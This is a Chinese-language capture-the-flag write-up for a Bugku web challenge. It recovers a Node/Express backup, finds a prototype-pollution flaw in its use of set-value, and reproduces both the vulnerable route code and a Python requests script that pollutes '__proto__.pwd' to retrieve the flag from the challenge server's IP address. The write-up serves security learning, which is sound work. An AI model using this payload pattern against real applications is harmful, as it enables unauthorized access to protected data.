打开题目
发现只有一个注册的跳转链接
点击试试
查看一下源代码
也没有发现
fuzz一下看看有没有备份文件
找到了www.zip的备份文件
下载下来看看
打开index.js得到源代码
发现set-value,判断存在js原型链污染
对于js原型链污染,下面这篇讲的挺详细的
https://blog.csdn.net/weixin_45551083/article/details/109589386
1 var express = require('express'); 2 const setFn = require('set-value'); 3 var router = express.Router(); 4 5 6 const Admin = { 7 "password":process.env.password?process.env.password:"password" 8 } 9 10 11 router.post("/getflag", function (req, res, next) { 12 if (req.body.password === undefined || req.body.password === req.session.challenger.password){ 13 res.send("登录失败"); 14 }else{ 15 if(req.session.challenger.age > 79){ 16 res.send("糟老头子坏滴很"); 17 } 18 let key = req.body.key.toString(); 19 let password = req.body.password.toString(); 20 if(Admin[key] === password){ 21 res.send(process.env.flag ? process.env.flag : "flag{test}"); 22 }else { 23 res.send("密码错误,请使用管理员用户名登录."); 24 } 25 } 26 27 }); 28 router.get('/reg', function (req, res, next) { 29 req.session.challenger = { 30 "username": "user", 31 "password": "pass", 32 "age": 80 33 } 34 res.send("用户创建成功!"); 35 }); 36 37 router.get('/', function (req, res, next) { 38 res.redirect('index'); 39 }); 40 router.get('/index', function (req, res, next) { 41 res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>'); 42 }); 43 router.post("/update", function (req, res, next) { 44 if(req.session.challenger === undefined){ 45 res.redirect('/reg'); 46 }else{ 47 if (req.body.attrkey === undefined || req.body.attrval === undefined) { 48 res.send("传参有误"); 49 }else { 50 let key = req.body.attrkey.toString(); 51 let value = req.body.attrval.toString(); 52 setFn(req.session.challenger, key, value); 53 res.send("修改成功"); 54 } 55 } 56 }); 57 58 module.exports = router;
通过代码可以发现
路由"/getflag"是用来获取到flag,但存在验证,首先需要传参两个参数key和password,并且对用户字典中的age进行判断,大于79会失败
然后Admin[key]需要等于password,其中passwod为我们控制的 而Admin[key] 我们不知道
因为age是一个已经存在的变量,所以可以用post传参去覆盖
data={"attrkey":"age","attrval":"20"} update(url,data)
而既然是原型链污染,就可以直接poc自定义一个password了
poc地址:http://114.67.246.176:15688/
借用一下别人的脚本,自己不是很会写脚本。。
import requests import random from bs4 import BeautifulSoup import re import base64 s = requests.session() #保持同一个会话 def reg(url): url=url+"reg" r=s.get(url) print(r.text) def update(url,data): url=url+"update" print(url) r=s.post(url,data=data) print(r.text) def getflag(url,data): url=url+"getflag" r=s.post(url,data=data) print(r.text) url="http://114.67.246.176:15688/" reg(url) data={"attrkey":"age","attrval":"20"} update(url,data) data={"attrkey":"__proto__.pwd","attrval":"123"} update(url,data) data={"password":"123","key":"pwd"} getflag(url,data)
跑一下,成功得到flag